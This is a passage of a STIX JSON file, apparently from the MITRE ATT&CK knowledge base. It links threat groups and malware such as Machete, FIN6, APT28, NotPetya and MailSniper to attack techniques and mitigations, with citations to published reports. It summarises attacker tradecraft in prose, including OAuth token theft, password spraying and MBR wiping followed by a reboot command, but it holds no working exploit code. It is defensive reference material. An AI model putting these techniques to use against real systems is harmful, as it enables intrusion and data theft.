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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
            "description": "Once a file is uploaded, [Machete](https://attack.mitre.org/software/S0409) will delete it from the machine.(Citation: ESET Machete July 2019) ",
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            "description": "[Machete](https://attack.mitre.org/software/S0409) collects the hostname of the target computer.(Citation: ESET Machete July 2019) ",
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
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                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
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                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
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                }
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            "description": "[Machete](https://attack.mitre.org/software/S0409) stores files and logs in a folder on the local drive.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)",
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
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                }
            ],
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                }
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "360 Machete Sep 2020",
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                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) produces file listings in order to search for files to be exfiltrated.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)",
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                }
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                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.",
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                },
                {
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "source_name": "ESET Machete July 2019"
                }
            ],
            "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)",
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
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                }
            ],
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                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
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                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "description": "[Orz](https://attack.mitre.org/software/S0229) can gather the victim's Internet Explorer version.(Citation: Proofpoint Leviathan Oct 2017)",
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                {
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "source_name": "Security Intelligence More Eggs Aug 2019"
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Comodo code-signing certificates.(Citation: Security Intelligence More Eggs Aug 2019)\t",
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                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "source_name": "Security Intelligence More Eggs Aug 2019"
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            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used WMI to automate the remote execution of PowerShell scripts.(Citation: Security Intelligence More Eggs Aug 2019)\t",
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                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used fake job advertisements sent via LinkedIn to spearphish targets.(Citation: Security Intelligence More Eggs Aug 2019)",
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                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
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                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "source_name": "Security Intelligence More Eggs Aug 2019"
                },
                {
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                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."
                }
            ],
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used cmd.exe for execution.(Citation: Security Intelligence More Eggs Aug 2019)(Citation: ESET EvilNum July 2020)",
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                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
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                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
            ],
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                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
            ],
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            ],
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            "description": "(Citation: TrendMicro Tropic Trooper Mar 2018)",
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                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
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                }
            ],
            "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.(Citation: FireEye APT41 Aug 2019)",
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                }
            ],
            "description": "[APT41](https://attack.mitre.org/groups/G0096) performed password brute-force attacks on the local admin account.(Citation: FireEye APT41 Aug 2019)",
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                }
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                }
            ],
            "description": "[Fysbis](https://attack.mitre.org/software/S0410) has the ability to delete files.(Citation: Fysbis Dr Web Analysis)",
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            "description": "[Fysbis](https://attack.mitre.org/software/S0410) has the ability to search for files.(Citation: Fysbis Dr Web Analysis) ",
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            "description": "[Fysbis](https://attack.mitre.org/software/S0410) can collect information about running processes.(Citation: Fysbis Dr Web Analysis) ",
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            "description": "[Fysbis](https://attack.mitre.org/software/S0410) has used port 80 for C2.(Citation: Fysbis Palo Alto Analysis) ",
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            "relationship_type": "mitigates",
            "description": "File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.",
            "id": "relationship--f3a3e55d-d2bd-4ae6-85ae-b8a3046f4b75",
            "type": "relationship",
            "modified": "2020-01-30T18:42:08.489Z",
            "created": "2019-10-04T18:21:47.437Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
            "external_references": [
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.(Citation: Trend Micro Pawn Storm OAuth 2017)",
            "relationship_type": "uses",
            "id": "relationship--ae0b56df-e692-4210-85e4-8ded095cdbc3",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.239Z",
            "created": "2019-10-04T18:43:57.650Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
            "relationship_type": "mitigates",
            "description": "Users need to be trained to not authorize third-party applications they don\u2019t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. For example, offline access and access to read emails should excite higher suspicions because adversaries can utilize SaaS APIs to discover credentials and other sensitive communications.",
            "id": "relationship--9c3d1701-b0ed-4a20-a864-d2681535cfa8",
            "type": "relationship",
            "modified": "2021-04-14T17:56:17.506Z",
            "created": "2019-10-04T19:37:26.696Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
            "external_references": [
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications to steal user OAuth access tokens including applications masquerading as \"Google Defender\" \"Google Email Protection,\" and \"Google Scanner\" for Gmail users. They also targeted Yahoo users with applications masquerading as \"Delivery Service\" and \"McAfee Email Protection\".(Citation: Trend Micro Pawn Storm OAuth 2017)",
            "relationship_type": "uses",
            "id": "relationship--d348102c-89dc-452a-b86d-2460928defaa",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.241Z",
            "created": "2019-10-04T19:41:47.000Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will shut down the compromised system after it is done modifying system configuration settings.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--4932951a-b313-4024-bbad-434de3b747c5",
            "type": "relationship",
            "modified": "2020-11-30T18:05:53.597Z",
            "created": "2019-10-04T21:49:25.790Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "source_name": "Wired Lockergoga 2019",
                    "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/",
                    "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019."
                }
            ],
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed shutting down infected systems.(Citation: Wired Lockergoga 2019)",
            "relationship_type": "uses",
            "id": "relationship--3c7bb2a4-eede-4dae-ac41-03782729a961",
            "type": "relationship",
            "modified": "2019-10-04T21:56:21.628Z",
            "created": "2019-10-04T21:56:21.628Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "source_name": "Talos Nyetya June 2017"
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[NotPetya](https://attack.mitre.org/software/S0368) will reboot the system one hour after infection.(Citation: Talos Nyetya June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--aa158d48-a9f5-49bb-8f15-166705f29b36",
            "type": "relationship",
            "modified": "2020-11-30T17:38:42.826Z",
            "created": "2019-10-04T22:01:16.034Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "source_name": "Talos Group123",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
                }
            ],
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used malware that will issue the command <code>shutdown /r /t 1</code> to reboot a system after wiping its MBR.(Citation: Talos Group123)",
            "relationship_type": "uses",
            "id": "relationship--63759ea4-5bf1-408d-a1cc-e7f52e3aca1b",
            "type": "relationship",
            "modified": "2019-10-04T22:07:45.879Z",
            "created": "2019-10-04T22:07:45.879Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.(Citation: FireEye APT38 Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--53c8e757-8043-4d08-8bd6-8d02d2b973cb",
            "type": "relationship",
            "modified": "2019-10-04T22:16:08.175Z",
            "created": "2019-10-04T22:16:08.175Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "source_name": "US-CERT SHARPKNOT June 2018",
                    "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has rebooted systems after destroying files and wiping the MBR on infected systems.(Citation: US-CERT SHARPKNOT June 2018)",
            "relationship_type": "uses",
            "id": "relationship--cc31afad-6349-4b66-a0a9-cd8f9de46aec",
            "type": "relationship",
            "modified": "2019-10-04T22:20:20.853Z",
            "created": "2019-10-04T22:20:20.853Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "relationship_type": "mitigates",
            "description": "Configure user permissions groups and roles for access to cloud storage.(Citation: Microsoft Azure Storage Security, 2019) Implement strict Identity and Access Management (IAM) controls to prevent access to storage solutions except for the applications, users, and services that require access.(Citation: Amazon S3 Security, 2019) Ensure that temporary access tokens are issued rather than permanent credentials, especially when access is being granted to entities outside of the internal security boundary.(Citation: Amazon  AWS Temporary Security Credentials)",
            "id": "relationship--22dfe85e-3eeb-4b0a-ac61-b80f70a1f092",
            "external_references": [
                {
                    "source_name": "Microsoft Azure Storage Security, 2019",
                    "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide",
                    "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Amazon S3 Security, 2019",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Amazon  AWS Temporary Security Credentials",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html",
                    "description": "Amazon. (n.d.). Temporary Security Credentials. Retrieved October 18, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-07-09T14:02:05.406Z",
            "created": "2019-10-05T02:15:29.999Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "relationship_type": "mitigates",
            "description": "Consider using multi-factor authentication to restrict access to resources and cloud storage APIs.(Citation: Amazon S3 Security, 2019)",
            "id": "relationship--ee3162ad-e88e-401c-9fdf-e7f0784141a4",
            "external_references": [
                {
                    "source_name": "Amazon S3 Security, 2019",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-07-09T14:02:05.384Z",
            "created": "2019-10-05T02:15:30.002Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "relationship_type": "mitigates",
            "description": "Encrypt data stored at rest in cloud storage.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019) Managed encryption keys can be rotated by most providers. At a minimum, ensure an incident response plan to storage breach includes rotating the keys and test for impact on client applications.(Citation: Google Cloud Encryption Key Rotation)",
            "id": "relationship--55fa32b7-b9d2-4c57-9614-b7793b2770f2",
            "external_references": [
                {
                    "source_name": "Amazon S3 Security, 2019",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Microsoft Azure Storage Security, 2019",
                    "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide",
                    "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Google Cloud Encryption Key Rotation",
                    "url": "https://cloud.google.com/kms/docs/key-rotation",
                    "description": "Google. (n.d.). Key rotation. Retrieved October 18, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-07-09T14:02:05.436Z",
            "created": "2019-10-05T02:15:30.004Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "relationship_type": "mitigates",
            "description": "Frequently check permissions on cloud storage to ensure proper permissions are set to deny open or unprivileged access to resources.(Citation: Amazon S3 Security, 2019)",
            "id": "relationship--e3e50d39-fa69-4fca-9353-259247dbd439",
            "external_references": [
                {
                    "source_name": "Amazon S3 Security, 2019",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-07-09T14:02:05.435Z",
            "created": "2019-10-05T02:15:30.005Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "relationship_type": "mitigates",
            "description": "Use access control lists on storage systems and objects.",
            "id": "relationship--be61f77a-93a3-4699-b134-52b199c7b196",
            "type": "relationship",
            "modified": "2020-07-09T14:02:05.453Z",
            "created": "2019-10-05T02:15:30.007Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e",
            "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "external_references": [
                {
                    "source_name": "GitHub MailSniper",
                    "url": "https://github.com/dafthack/MailSniper",
                    "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019."
                }
            ],
            "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for password spraying against Exchange and Office 365.(Citation: GitHub MailSniper)",
            "relationship_type": "uses",
            "id": "relationship--b85cff83-6468-4c63-9b25-4ac75fcb0e10",
            "type": "relationship",
            "modified": "2020-03-11T17:15:28.465Z",
            "created": "2019-10-05T02:34:01.271Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "external_references": [
                {
                    "source_name": "GitHub MailSniper",
                    "url": "https://github.com/dafthack/MailSniper",
                    "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019."
                }
            ],
            "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for searching through email in Exchange and Office 365 environments.(Citation: GitHub MailSniper)",
            "relationship_type": "uses",
            "id": "relationship--03a65a95-b802-49ee-bec1-a65cccec0e89",
            "type": "relationship",
            "modified": "2020-03-17T16:30:17.326Z",
            "created": "2019-10-05T02:34:01.287Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "target_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e",
            "external_references": [
                {
                    "source_name": "Symantec Leafminer July 2018",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
                }
            ],
            "description": "(Citation: Symantec Leafminer July 2018)",
            "relationship_type": "uses",
            "id": "relationship--a55d75ab-f5bb-4892-80de-c878be26a67d",
            "type": "relationship",
            "modified": "2019-10-05T02:35:42.069Z",
            "created": "2019-10-05T02:35:42.069Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e",
            "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
            "external_references": [
                {
                    "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/",
                    "source_name": "Black Hills Attacking Exchange MailSniper, 2016"
                }
            ],
            "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used to obtain account names from Exchange and Office 365 using the <code>Get-GlobalAddressList</code> cmdlet.(Citation: Black Hills Attacking Exchange MailSniper, 2016)",
            "relationship_type": "uses",
            "id": "relationship--d2437ab0-888b-4490-a825-f70a490b7192",
            "type": "relationship",
            "modified": "2020-03-18T20:11:37.182Z",
            "created": "2019-10-06T19:08:28.953Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
            "relationship_type": "mitigates",
            "description": "Limit or restrict program execution using anti-virus software. On MacOS, whitelist programs that are allowed to have the plist tag. All other programs should be considered suspicious.",
            "id": "relationship--a80b33dc-0fe2-4b0d-a815-51a036fa410f",
            "type": "relationship",
            "modified": "2020-03-13T21:03:18.879Z",
            "created": "2019-10-07T17:47:39.651Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "external_references": [
                {
                    "source_name": "TrendMicro Tropic Trooper Mar 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
                    "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018."
                }
            ],
            "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to launch a malicious process.(Citation: TrendMicro Tropic Trooper Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--cdf7492f-4cdd-4119-aa5e-0d94a07a3965",
            "type": "relationship",
            "modified": "2019-10-07T18:49:09.822Z",
            "created": "2019-10-07T18:49:09.822Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Apr 2019",
                    "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/",
